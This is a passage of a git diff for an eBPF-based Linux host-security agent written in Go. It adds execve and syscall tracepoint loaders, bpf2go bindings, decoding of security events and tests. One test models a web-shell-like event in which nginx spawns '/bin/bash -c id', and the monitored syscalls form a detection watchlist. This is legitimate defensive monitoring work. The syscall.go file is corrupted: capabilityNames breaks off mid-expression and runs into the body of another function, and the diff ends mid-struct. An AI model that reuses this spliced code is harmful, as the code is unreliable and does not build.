+ PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + ParentComm: cString(raw.ParentComm[:]), Filename: cString(raw.Filename[:]), + Argv: argv, + }, nil +} + +func (s *ExecSource) Close() error { + var failures []error + if s.reader != nil { + failures = append(failures, s.reader.Close()) + } + if s.link != nil { + failures = append(failures, s.link.Close()) + } + failures = append(failures, s.objects.Close()) + return errors.Join(failures...) +} + +func cString(raw []int8) string { + value := make([]byte, 0, len(raw)) + for _, char := range raw { + if char == 0 { + break + } + value = append(value, byte(char)) + } + return string(value) +} + +var _ io.Closer = (*ExecSource)(nil) diff --git a/go-agent/internal/ebpfsource/exec_bpfeb.go b/go-agent/internal/ebpfsource/exec_bpfeb.go new file mode 100644 index 0000000..e01af2f --- /dev/null +++ b/go-agent/internal/ebpfsource/exec_bpfeb.go @@ -0,0 +1,141 @@ +// Code generated by bpf2go; DO NOT EDIT. +//go:build mips || mips64 || ppc64 || s390x + +package ebpfsource + +import ( + "bytes" + _ "embed" + "fmt" + "io" + + "github.com/cilium/ebpf" +) + +// Names of all BPF objects in the ELF. +// +// Used for safe lookups in a Collection or CollectionSpec. +const ( + execMapEvents = "events" + execProgTraceExecve = "trace_execve" +) + +// loadExec returns the embedded CollectionSpec for exec. +func loadExec() (*ebpf.CollectionSpec, error) { + reader := bytes.NewReader(_ExecBytes) + spec, err := ebpf.LoadCollectionSpecFromReader(reader) + if err != nil { + return nil, fmt.Errorf("can't load exec: %w", err) + } + + return spec, err +} + +// loadExecObjects loads exec and converts it into a struct. +// +// The following types are suitable as obj argument: +// +// *execObjects +// *execPrograms +// *execMaps +// +// See ebpf.CollectionSpec.LoadAndAssign documentation for details. +func loadExecObjects(obj any, opts *ebpf.CollectionOptions) error { + spec, err := loadExec() + if err != nil { + return err + } + + return spec.LoadAndAssign(obj, opts) +} + +// execSpecs contains maps and programs before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type execSpecs struct { + execProgramSpecs + execMapSpecs + execVariableSpecs +} + +// execProgramSpecs contains programs before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type execProgramSpecs struct { + TraceExecve *ebpf.ProgramSpec `ebpf:"trace_execve"` +} + +// execMapSpecs contains maps before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type execMapSpecs struct { + Events *ebpf.MapSpec `ebpf:"events"` +} + +// execVariableSpecs contains global variables before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type execVariableSpecs struct { +} + +// execObjects contains all objects after they have been loaded into the kernel. +// +// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign. +type execObjects struct { + execPrograms + execMaps + execVariables +} + +func (o *execObjects) Close() error { + return _ExecClose( + &o.execPrograms, + &o.execMaps, + ) +} + +// execMaps contains all maps after they have been loaded into the kernel. +// +// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign. +type execMaps struct { + Events *ebpf.Map `ebpf:"events"` +} + +func (m *execMaps) Close() error { + return _ExecClose( + m.Events, + ) +} + +// execVariables contains all global variables after they have been loaded into the kernel. +// +// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign. +type execVariables struct { +} + +// execPrograms contains all programs after they have been loaded into the kernel. +// +// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign. +type execPrograms struct { + TraceExecve *ebpf.Program `ebpf:"trace_execve"` +} + +func (p *execPrograms) Close() error { + return _ExecClose( + p.TraceExecve, + ) +} + +func _ExecClose(closers ...io.Closer) error { + for _, closer := range closers { + if err := closer.Close(); err != nil { + return err + } + } + return nil +} + +// Do not access this directly. +// +//go:embed exec_bpfeb.o +var _ExecBytes []byte diff --git a/go-agent/internal/ebpfsource/exec_bpfeb.o b/go-agent/internal/ebpfsource/exec_bpfeb.o new file mode 100644 index 0000000..0c858f7 Binary files /dev/null and b/go-agent/internal/ebpfsource/exec_bpfeb.o differ diff --git a/go-agent/internal/ebpfsource/exec_bpfel.go b/go-agent/internal/ebpfsource/exec_bpfel.go new file mode 100644 index 0000000..9c8c578 --- /dev/null +++ b/go-agent/internal/ebpfsource/exec_bpfel.go @@ -0,0 +1,141 @@ +// Code generated by bpf2go; DO NOT EDIT. +//go:build 386 || amd64 || arm || arm64 || loong64 || mips64le || mipsle || ppc64le || riscv64 || wasm + +package ebpfsource + +import ( + "bytes" + _ "embed" + "fmt" + "io" + + "github.com/cilium/ebpf" +) + +// Names of all BPF objects in the ELF. +// +// Used for safe lookups in a Collection or CollectionSpec. +const ( + execMapEvents = "events" + execProgTraceExecve = "trace_execve" +) + +// loadExec returns the embedded CollectionSpec for exec. +func loadExec() (*ebpf.CollectionSpec, error) { + reader := bytes.NewReader(_ExecBytes) + spec, err := ebpf.LoadCollectionSpecFromReader(reader) + if err != nil { + return nil, fmt.Errorf("can't load exec: %w", err) + } + + return spec, err +} + +// loadExecObjects loads exec and converts it into a struct. +// +// The following types are suitable as obj argument: +// +// *execObjects +// *execPrograms +// *execMaps +// +// See ebpf.CollectionSpec.LoadAndAssign documentation for details. +func loadExecObjects(obj any, opts *ebpf.CollectionOptions) error { + spec, err := loadExec() + if err != nil { + return err + } + + return spec.LoadAndAssign(obj, opts) +} + +// execSpecs contains maps and programs before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type execSpecs struct { + execProgramSpecs + execMapSpecs + execVariableSpecs +} + +// execProgramSpecs contains programs before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type execProgramSpecs struct { + TraceExecve *ebpf.ProgramSpec `ebpf:"trace_execve"` +} + +// execMapSpecs contains maps before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type execMapSpecs struct { + Events *ebpf.MapSpec `ebpf:"events"` +} + +// execVariableSpecs contains global variables before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type execVariableSpecs struct { +} + +// execObjects contains all objects after they have been loaded into the kernel. +// +// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign. +type execObjects struct { + execPrograms + execMaps + execVariables +} + +func (o *execObjects) Close() error { + return _ExecClose( + &o.execPrograms, + &o.execMaps, + ) +} + +// execMaps contains all maps after they have been loaded into the kernel. +// +// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign. +type execMaps struct { + Events *ebpf.Map `ebpf:"events"` +} + +func (m *execMaps) Close() error { + return _ExecClose( + m.Events, + ) +} + +// execVariables contains all global variables after they have been loaded into the kernel. +// +// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign. +type execVariables struct { +} + +// execPrograms contains all programs after they have been loaded into the kernel. +// +// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign. +type execPrograms struct { + TraceExecve *ebpf.Program `ebpf:"trace_execve"` +} + +func (p *execPrograms) Close() error { + return _ExecClose( + p.TraceExecve, + ) +} + +func _ExecClose(closers ...io.Closer) error { + for _, closer := range closers { + if err := closer.Close(); err != nil { + return err + } + } + return nil +} + +// Do not access this directly. +// +//go:embed exec_bpfel.o +var _ExecBytes []byte diff --git a/go-agent/internal/ebpfsource/exec_bpfel.o b/go-agent/internal/ebpfsource/exec_bpfel.o new file mode 100644 index 0000000..ee3bf2d Binary files /dev/null and b/go-agent/internal/ebpfsource/exec_bpfel.o differ diff --git a/go-agent/internal/ebpfsource/exec_test.go b/go-agent/internal/ebpfsource/exec_test.go new file mode 100644 index 0000000..615425b --- /dev/null +++ b/go-agent/internal/ebpfsource/exec_test.go @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package ebpfsource + +import ( + "bytes" + "encoding/binary" + "testing" +) + +func TestDecodeExecSample(t *testing.T) { + raw := execEventRaw{PID: 42, PPID: 7, UID: 1000} + copyCString(raw.ParentComm[:], "nginx") + copyCString(raw.Filename[:], "/bin/bash") + copyCString(raw.Arg1[:], "-c") + copyCString(raw.Arg2[:], "id") + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + + event, err := decodeExecSample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + if event.PID != 42 || event.PPID != 7 || event.UID != 1000 || + event.ParentComm != "nginx" || event.Filename != "/bin/bash" || + len(event.Argv) != 2 || event.Argv[0] != "-c" || event.Argv[1] != "id" { + t.Fatalf("unexpected event: %#v", event) + } +} + +func TestDecodeExecSampleRejectsWrongSize(t *testing.T) { + if _, err := decodeExecSample([]byte{1, 2, 3}); err == nil { + t.Fatal("expected size error") + } +} + +func TestCStringStopsAtNUL(t *testing.T) { + if got := cString([]int8{'a', 'b', 0, 'c'}); got != "ab" { + t.Fatalf("got %q", got) + } +} + +func copyCString(destination []int8, value string) { + for index, char := range []byte(value) { + if index >= len(destination)-1 { + break + } + destination[index] = int8(char) + } +} diff --git a/go-agent/internal/ebpfsource/generate.go b/go-agent/internal/ebpfsource/generate.go new file mode 100644 index 0000000..fa3b620 --- /dev/null +++ b/go-agent/internal/ebpfsource/generate.go @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package ebpfsource + +// Generate checked-in object bindings so normal builds need neither clang nor +// kernel headers. The tracepoint ABI is stable and avoids host-specific +// generated vmlinux.h while the loader remains pure Go. +//go:generate go run github.com/cilium/ebpf/cmd/bpf2go@v0.22.0 -cc clang -cflags "-O2 -g -Wall -Werror" exec bpf/exec.bpf.c +//go:generate go run github.com/cilium/ebpf/cmd/bpf2go@v0.22.0 -cc clang -cflags "-O2 -g -Wall -Werror" syscall bpf/syscall.bpf.c diff --git a/go-agent/internal/ebpfsource/spec_test.go b/go-agent/internal/ebpfsource/spec_test.go new file mode 100644 index 0000000..0aa0f2c --- /dev/null +++ b/go-agent/internal/ebpfsource/spec_test.go @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package ebpfsource + +import ( + "testing" + + "github.com/cilium/ebpf" + "github.com/cilium/ebpf/btf" +) + +func TestEmbeddedExecCollectionShape(t *testing.T) { + specification, err := loadExec() + if err != nil { + t.Fatal(err) + } + program := specification.Programs["trace_execve"] + eventsMap := specification.Maps["events"] + if program == nil || program.Type != ebpf.TracePoint || program.SectionName != "tracepoint/syscalls/sys_enter_execve" { + t.Fatalf("unexpected exec program: %#v", program) + } + if eventsMap == nil || eventsMap.Type != ebpf.PerfEventArray { + t.Fatalf("unexpected exec events map: %#v", eventsMap) + } + if countCORERelocations(program) < 2 { + t.Fatal("exec program must retain parent task CO-RE relocations") + } +} + +func TestEmbeddedSyscallCollectionShape(t *testing.T) { + specification, err := loadSyscall() + if err != nil { + t.Fatal(err) + } + program := specification.Programs["trace_sys_enter"] + exitProgram := specification.Programs["trace_sys_exit"] + filterMap := specification.Maps["monitored_syscalls"] + writeCommsMap := specification.Maps["monitored_host_comms"] + pendingWritesMap := specification.Maps["pending_returns"] + eventsMap := specification.Maps["syscall_events"] + if program == nil || program.Type != ebpf.TracePoint || program.SectionName != "tracepoint/raw_syscalls/sys_enter" { + t.Fatalf("unexpected syscall program: %#v", program) + } + if exitProgram == nil || exitProgram.Type != ebpf.TracePoint || exitProgram.SectionName != "tracepoint/raw_syscalls/sys_exit" { + t.Fatalf("unexpected syscall exit program: %#v", exitProgram) + } + if filterMap == nil || filterMap.Type != ebpf.Hash || filterMap.MaxEntries != 64 || + filterMap.KeySize != 8 || filterMap.ValueSize != 4 { + t.Fatalf("unexpected syscall filter map: %#v", filterMap) + } + if writeCommsMap == nil || writeCommsMap.Type != ebpf.Hash || writeCommsMap.MaxEntries != 64 || + writeCommsMap.KeySize != 16 || writeCommsMap.ValueSize != 4 { + t.Fatalf("unexpected write comm map: %#v", writeCommsMap) + } + if pendingWritesMap == nil || pendingWritesMap.Type != ebpf.Hash || pendingWritesMap.MaxEntries != 4096 || + pendingWritesMap.KeySize != 8 { + t.Fatalf("unexpected pending writes map: %#v", pendingWritesMap) + } + if eventsMap == nil || eventsMap.Type != ebpf.PerfEventArray { + t.Fatalf("unexpected syscall events map: %#v", eventsMap) + } + if countCORERelocations(program) < 2 { + t.Fatal("syscall program must retain parent task CO-RE relocations") + } +} + +func countCORERelocations(program *ebpf.ProgramSpec) int { + count := 0 + for index := range program.Instructions { + if btf.CORERelocationMetadata(&program.Instructions[index]) != nil { + count++ + } + } + return count +} diff --git a/go-agent/internal/ebpfsource/syscall.go b/go-agent/internal/ebpfsource/syscall.go new file mode 100644 index 0000000..3aa6c22 --- /dev/null +++ b/go-agent/internal/ebpfsource/syscall.go @@ -0,0 +1,476 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package ebpfsource + +import ( + "bufio" + "bytes" + "encoding/binary" + "encoding/hex" + "errors" + "fmt" + "io" + "net" + "os" + "path/filepath" + "slices" + "strconv" + "strings" + + "github.com/cilium/ebpf" + "github.com/cilium/ebpf/link" + "github.com/cilium/ebpf/perf" + "github.com/cilium/ebpf/rlimit" + "golang.org/x/sys/unix" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events" +) + +const ( + syscallMprotect uint32 = iota + 1 + syscallMmap + syscallMemfdCreate + syscallPtrace + syscallPrctl + syscallSeccomp + syscallProcessVMReadv + syscallProcessVMWritev + syscallMlock + syscallMlock2 + syscallMlockall + hostSetuid + hostSetgid + hostChmod + hostFchmodat + hostChown + hostLchown + hostFchownat + hostCapset + hostFinitModule + hostFileWrite + hostTCPConnect + hostBind + hostListen + hostAccept + hostAccept4 +) + +var syscallNames = map[uint32]string{ + syscallMprotect: "mprotect", + syscallMmap: "mmap", + syscallMemfdCreate: "memfd_create", + syscallPtrace: "ptrace", + syscallPrctl: "prctl", + syscallSeccomp: "seccomp", + syscallProcessVMReadv: "process_vm_readv", + syscallProcessVMWritev: "process_vm_writev", + syscallMlock: "mlock", + syscallMlock2: "mlock2", + syscallMlockall: "mlockall", +} + +type syscallEventRaw struct { + PID uint32 + PPID uint32 + UID uint32 + SyscallID uint32 + Comm [16]int8 + Args [6]uint64 + Text [80]int8 +} + +type SyscallLostSamplesError struct { + Count uint64 +} + +// SecurityEvent is the typed result of the shared filtered syscall transport. +// Exactly one field is populated. +type SecurityEvent struct { + Syscall *events.SyscallEvent + Host *events.HostEvent + pathDirFD int64 +} + +func (e SyscallLostSamplesError) Error() string { + return fmt.Sprintf("syscall perf buffer lost %d samples", e.Count) +} + +// SyscallSource filters raw syscall entry events in-kernel using a map of +// architecture-specific syscall numbers, then exposes transport-neutral +// SyscallEvent values to the existing rule engine. +type SyscallSource struct { + objects syscallObjects + links []link.Link + reader *perf.Reader + procRoot string +} + +func OpenSyscallSource(procRoot string) (*SyscallSource, error) { + if procRoot == "" { + procRoot = "/proc" + } + numbers := monitoredSyscalls() + memlockErr := rlimit.RemoveMemlock() + var objects syscallObjects + if err := loadSyscallObjects(&objects, nil); err != nil { + if memlockErr != nil { + return nil, fmt.Errorf("load syscall BPF objects: %w (memlock adjustment: %v)", err, memlockErr) + } + return nil, fmt.Errorf("load syscall BPF objects: %w", err) + } + for number, identifier := range numbers { + if err := objects.MonitoredSyscalls.Update(number, identifier, ebpf.UpdateAny); err != nil { + objects.Close() + return nil, fmt.Errorf("configure syscall %d: %w", number, err) + } + } + for _, comm := range events.HostInterpreterComms() { + var key [16]byte + copy(key[:], comm) + if err := objects.MonitoredHostComms.Update(key, uint32(1), ebpf.UpdateAny); err != nil { + objects.Close() + return nil, fmt.Errorf("configure write comm %q: %w", comm, err) + } + } + enterLink, err := link.Tracepoint("raw_syscalls", "sys_enter", objects.TraceSysEnter, nil) + if err != nil { + objects.Close() + return nil, fmt.Errorf("attach raw syscall tracepoint: %w", err) + } + exitLink, err := link.Tracepoint("raw_syscalls", "sys_exit", objects.TraceSysExit, nil) + if err != nil { + enterLink.Close() + objects.Close() + return nil, fmt.Errorf("attach raw syscall exit tracepoint: %w", err) + } + reader, err := perf.NewReader(objects.SyscallEvents, 64*4096) + if err != nil { + exitLink.Close() + enterLink.Close() + objects.Close() + return nil, fmt.Errorf("open syscall perf reader: %w", err) + } + return &SyscallSource{objects: objects, links: []link.Link{enterLink, exitLink}, reader: reader, procRoot: procRoot}, nil +} + +func (s *SyscallSource) Read() (SecurityEvent, error) { + record, err := s.reader.Read() + if err != nil { + return SecurityEvent{}, err + } + if record.LostSamples != 0 { + return SecurityEvent{}, SyscallLostSamplesError{Count: record.LostSamples} + } + securityEvent, err := decodeSecuritySample(record.RawSample) + if err == nil && securityEvent.Host != nil { + if securityEvent.Host.Path != "" { + securityEvent.Host.Path = resolveProcessPath( + s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD, + securityEvent.Host.Path, + ) + } else if securityEvent.Host.Event == "module_load" || securityEvent.Host.Event == "file_write" { + securityEvent.Host.Path = resolveProcessFD(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD) + if securityEvent.Host.Event == "module_load" && securityEvent.Host.Path != "" { + securityEvent.Host.ModuleName = filepath.Base(strings.TrimSuffix(securityEvent.Host.Path, " (deleted)")) + } + } + if securityEvent.Host.Event == "tcp_connect" && + !isTCPSocket(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD) { + securityEvent.Host = nil + } + if securityEvent.Host != nil && + (securityEvent.Host.Event == "listen" || securityEvent.Host.Event == "accept") { + local, peer, ok := lookupTCPSocket(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD) + if !ok { + securityEvent.Host = nil + } else { + securityEvent.Host.LocalIP, securityEvent.Host.LocalPort = local.IP, local.Port + securityEvent.Host.PeerIP, securityEvent.Host.PeerPort = peer.IP, peer.Port + } + } + } + return securityEvent, err +} + +func decodeSecuritySample(sample []byte) (SecurityEvent, error) { + var raw syscallEventRaw + if len(sample) != binary.Size(raw) { + return SecurityEvent{}, fmt.Errorf("syscall event size %d, want %d", len(sample), binary.Size(raw)) + } + if err := binary.Read(bytes.NewReader(sample), binary.NativeEndian, &raw); err != nil { + return SecurityEvent{}, fmt.Errorf("decode syscall event: %w", err) + } + if raw.SyscallID == hostSetuid || raw.SyscallID == hostSetgid { + event := events.HostEvent{ + PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1, + } + if raw.SyscallID == hostSetuid { + event.Event = "setuid" + event.TargetUID = int(raw.Args[0]) + } else { + event.Event = "setgid" + event.TargetGID = int(raw.Args[0]) + } + return SecurityEvent{Host: &event}, nil + } + if raw.SyscallID >= hostChmod && raw.SyscallID <= hostFchownat { + event := events.HostEvent{ + PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + Comm: cString(raw.Comm[:]), Path: cString(raw.Text[:]), + TargetUID: -1, TargetGID: -1, + } + switch raw.SyscallID { + case hostChmod, hostFchmodat: + event.Event = "chmod" + event.Mode = int(raw.Args[0]) + case hostChown, hostLchown, hostFchownat: + event.Event = "chown" + event.TargetUID = int(raw.Args[0]) + event.TargetGID = int(raw.Args[1]) + } + return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[2])}, nil + } + if raw.SyscallID == hostCapset { + event := events.HostEvent{ + Event: "capset", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1, + Capabilities: capabilityNames(raw.Args[0]), + } + return SecurityEvent{Host: &event}, nil + } + if raw.SyscallID == hostFinitModule { + event := events.HostEvent{ + Event: "module_load", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1, + } + return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[0])}, nil + } + if raw.SyscallID == hostFileWrite { + event := events.HostEvent{ + Event: "file_write", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1, + } + return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[0])}, nil + } + if raw.SyscallID == hostTCPConnect || raw.SyscallID == hostBind { + event := events.HostEvent{ + PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1, + } + address := socketAddress(raw) + if raw.SyscallID == hostTCPConnect { + event.Event, event.PeerIP, event.PeerPort = "tcp_connect", address, int(raw.Args[1]) + } else { + event.Event, event.LocalIP, event.LocalPort = "bind", address, int(raw.Args[1]) + } + return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[3])}, nil + } + if raw.SyscallID >= hostListen && raw.SyscallID <= hostAccept4 { + eventName := "accept" + if raw.SyscallID == hostListen { + eventName = "listen" + } + event := events.HostEvent{ + Event: eventName, PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1, + } + return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[3])}, nil + } + name, ok := syscallNames[raw.SyscallID] + if !ok { + return SecurityEvent{}, fmt.Errorf("unknown canonical syscall id %d", raw.SyscallID) + } + event := events.SyscallEvent{ + PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID), + Comm: cString(raw.Comm[:]), Syscall: name, Args: raw.Args, + Text: cString(raw.Text[:]), + } + return SecurityEvent{Syscall: &event}, nil +} + +func decodeSyscallSample(sample []byte) (events.SyscallEvent, error) { + securityEvent, err := decodeSecuritySample(sample) + if err != nil { + return events.SyscallEvent{}, err + } + if securityEvent.Syscall == nil { + return events.SyscallEvent{}, fmt.Errorf("sample is a typed host event") + } + return *securityEvent.Syscall, nil +} + +func (s *SyscallSource) Close() error { + var failures []error + if s.reader != nil { + failures = append(failures, s.reader.Close()) + } + for _, attached := range s.links { + if attached != nil { + failures = append(failures, attached.Close()) + } + } + failures = append(failures, s.objects.Close()) + return errors.Join(failures...) +} + +func monitoredSyscalls() map[uint64]uint32 { + numbers := map[uint64]uint32{ + unix.SYS_MPROTECT: syscallMprotect, + unix.SYS_MMAP: syscallMmap, + unix.SYS_MEMFD_CREATE: syscallMemfdCreate, + unix.SYS_PTRACE: syscallPtrace, + unix.SYS_PRCTL: syscallPrctl, + unix.SYS_SECCOMP: syscallSeccomp, + unix.SYS_PROCESS_VM_READV: syscallProcessVMReadv, + unix.SYS_PROCESS_VM_WRITEV: syscallProcessVMWritev, + unix.SYS_MLOCK: syscallMlock, + unix.SYS_MLOCK2: syscallMlock2, + unix.SYS_MLOCKALL: syscallMlockall, + unix.SYS_SETUID: hostSetuid, + unix.SYS_SETGID: hostSetgid, + unix.SYS_FCHMODAT: hostFchmodat, + unix.SYS_FCHOWNAT: hostFchownat, + unix.SYS_CAPSET: hostCapset, + unix.SYS_FINIT_MODULE: hostFinitModule, + unix.SYS_WRITE: hostFileWrite, + unix.SYS_WRITEV: hostFileWrite, + unix.SYS_PWRITE64: hostFileWrite, + unix.SYS_PWRITEV: hostFileWrite, + unix.SYS_PWRITEV2: hostFileWrite, + unix.SYS_CONNECT: hostTCPConnect, + unix.SYS_BIND: hostBind, + unix.SYS_LISTEN: hostListen, + unix.SYS_ACCEPT4: hostAccept4, + } + for number, identifier := range legacyPermissionSyscalls() { + numbers[number] = identifier + } + for number, identifier := range legacyNetworkSyscalls() { + numbers[number] = identifier + } + return numbers +} + +func socketAddress(raw syscallEventRaw) string { + switch raw.Args[0] { + case unix.AF_INET: + bytes := make([]byte, 4) + binary.NativeEndian.PutUint32(bytes, uint32(raw.Args[2])) + return net.IP(bytes).String() + case unix.AF_INET6: + bytes := make([]byte, 16) + for index := range bytes { + bytes[index] = byte(raw.Text[index]) + } + return net.IP(bytes).String() + default: + return "" + } +} + +func capabilityNames(effective uint64) []string { + known := []struct { + bit uint + name string + }{ + {0, "CAP_CHOWN"}, {1, "CAP_DAC_OVERRIDE"}, {2, "CAP_DAC_READ_SEARCH"}, + {12, "CAP_NET_ADMIN"}, {13, "CAP_NET_RAW"}, {16, "CAP_SYS_MODULE"}, + {19, "CAP_SYS_PTRACE"}, {21, "CAP_SYS_ADMIN"}, + } + names := make([]string, 0) + for _, capability := range known { + if effective&(uint64(1)<= 0 { + baseLink = filepath.Join(processRoot, "fd", fmt.Sprintf("%d", dirFD)) + } + base, err := os.Readlink(baseLink) + if err != nil || !filepath.IsAbs(base) { + return path + } + return filepath.Clean(filepath.Join(base, path)) +} + +func resolveProcessFD(procRoot string, pid int, fd int64) string { + if fd < 0 { + return "" + } + path, err := os.Readlink(filepath.Join(procRoot, fmt.Sprintf("%d", pid), "fd", fmt.Sprintf("%d", fd))) + if err != nil || !filepath.IsAbs(path) { + return "" + } + return filepath.Clean(path) +} + +func isTCPSocket(procRoot string, pid int, fd int64) bool { + _, _, ok := lookupTCPSocket(procRoot, pid, fd) + return ok +} + +type socketEndpoint struct { + IP string + Port int +} + +func lookupTCPSocket(procRoot string, pid int, fd int64) (socketEndpoint, socketEndpoint, bool) { + target, err := os.Readlink(filepath.Join(procRoot, fmt.Sprintf("%d", pid), "fd", fmt.Sprintf("%d", fd))) + if err != nil || !strings.HasPrefix(target, "socket:[") || !strings.HasSuffix(target, "]") { + return socketEndpoint{}, socketEndpoint{}, false + } + inode := strings.TrimSuffix(strings.TrimPrefix(target, "socket:["), "]") + for _, name := range []string{"tcp", "tcp6"} { + file, err := os.Open(filepath.Join(procRoot, "net", name)) + if err != nil { + continue + } + scanner := bufio.NewScanner(file) + for scanner.Scan() { + fields := strings.Fields(scanner.Text()) + if len(fields) > 9 && fields[9] == inode { + local, localErr := decodeProcEndpoint(fields[1], name == "tcp6") + peer, peerErr := decodeProcEndpoint(fields[2], name == "tcp6") + file.Close() + return local, peer, localErr == nil && peerErr == nil + } + } + file.Close() + } + return socketEndpoint{}, socketEndpoint{}, false +} + +func decodeProcEndpoint(value string, ipv6 bool) (socketEndpoint, error) { + addressHex, portHex, ok := strings.Cut(value, ":") + if !ok { + return socketEndpoint{}, fmt.Errorf("invalid proc endpoint %q", value) + } + address, err := hex.DecodeString(addressHex) + if err != nil || len(address) != 4 && len(address) != 16 { + return socketEndpoint{}, fmt.Errorf("invalid proc address %q", addressHex) + } + if ipv6 { + for offset := 0; offset < len(address); offset += 4 { + slices.Reverse(address[offset : offset+4]) + } + } else { + slices.Reverse(address) + } + port, err := strconv.ParseUint(portHex, 16, 16) + if err != nil { + return socketEndpoint{}, err + } + return socketEndpoint{IP: net.IP(address).String(), Port: int(port)}, nil +} + +var _ io.Closer = (*SyscallSource)(nil) diff --git a/go-agent/internal/ebpfsource/syscall_bpfeb.go b/go-agent/internal/ebpfsource/syscall_bpfeb.go new file mode 100644 index 0000000..566f2f8 --- /dev/null +++ b/go-agent/internal/ebpfsource/syscall_bpfeb.go @@ -0,0 +1,157 @@ +// Code generated by bpf2go; DO NOT EDIT. +//go:build mips || mips64 || ppc64 || s390x + +package ebpfsource + +import ( + "bytes" + _ "embed" + "fmt" + "io" + + "github.com/cilium/ebpf" +) + +// Names of all BPF objects in the ELF. +// +// Used for safe lookups in a Collection or CollectionSpec. +const ( + syscallMapMonitoredHostComms = "monitored_host_comms" + syscallMapMonitoredSyscalls = "monitored_syscalls" + syscallMapPendingReturns = "pending_returns" + syscallMapSyscallEvents = "syscall_events" + syscallProgTraceSysEnter = "trace_sys_enter" + syscallProgTraceSysExit = "trace_sys_exit" +) + +// loadSyscall returns the embedded CollectionSpec for syscall. +func loadSyscall() (*ebpf.CollectionSpec, error) { + reader := bytes.NewReader(_SyscallBytes) + spec, err := ebpf.LoadCollectionSpecFromReader(reader) + if err != nil { + return nil, fmt.Errorf("can't load syscall: %w", err) + } + + return spec, err +} + +// loadSyscallObjects loads syscall and converts it into a struct. +// +// The following types are suitable as obj argument: +// +// *syscallObjects +// *syscallPrograms +// *syscallMaps +// +// See ebpf.CollectionSpec.LoadAndAssign documentation for details. +func loadSyscallObjects(obj any, opts *ebpf.CollectionOptions) error { + spec, err := loadSyscall() + if err != nil { + return err + } + + return spec.LoadAndAssign(obj, opts) +} + +// syscallSpecs contains maps and programs before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type syscallSpecs struct { + syscallProgramSpecs + syscallMapSpecs + syscallVariableSpecs +} + +// syscallProgramSpecs contains programs before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type syscallProgramSpecs struct { + TraceSysEnter *ebpf.ProgramSpec `ebpf:"trace_sys_enter"` + TraceSysExit *ebpf.ProgramSpec `ebpf:"trace_sys_exit"` +} + +// syscallMapSpecs contains maps before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type syscallMapSpecs struct { + MonitoredHostComms *ebpf.MapSpec `ebpf:"monitored_host_comms"` + MonitoredSyscalls *ebpf.MapSpec `ebpf:"monitored_syscalls"` + PendingReturns *ebpf.MapSpec `ebpf:"pending_returns"` + SyscallEvents *ebpf.MapSpec `ebpf:"syscall_events"` +} + +// syscallVariableSpecs contains global variables before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type syscallVariableSpecs struct { +} + +// syscallObjects contains all objects after they have been loaded into the kernel. +// +// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign. +type syscallObjects struct { + syscallPrograms + syscallMaps + syscallVariables +} + +func (o *syscallObjects) Close() error { + return _SyscallClose( + &o.syscallPrograms, + &o.syscallMaps, + ) +} + +// syscallMaps contains all maps after they have been loaded into the kernel. +// +// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign. +type syscallMaps struct { + MonitoredHostComms *ebpf.Map `ebpf:"monitored_host_comms"` + MonitoredSyscalls *ebpf.Map `ebpf:"monitored_syscalls"` + PendingReturns 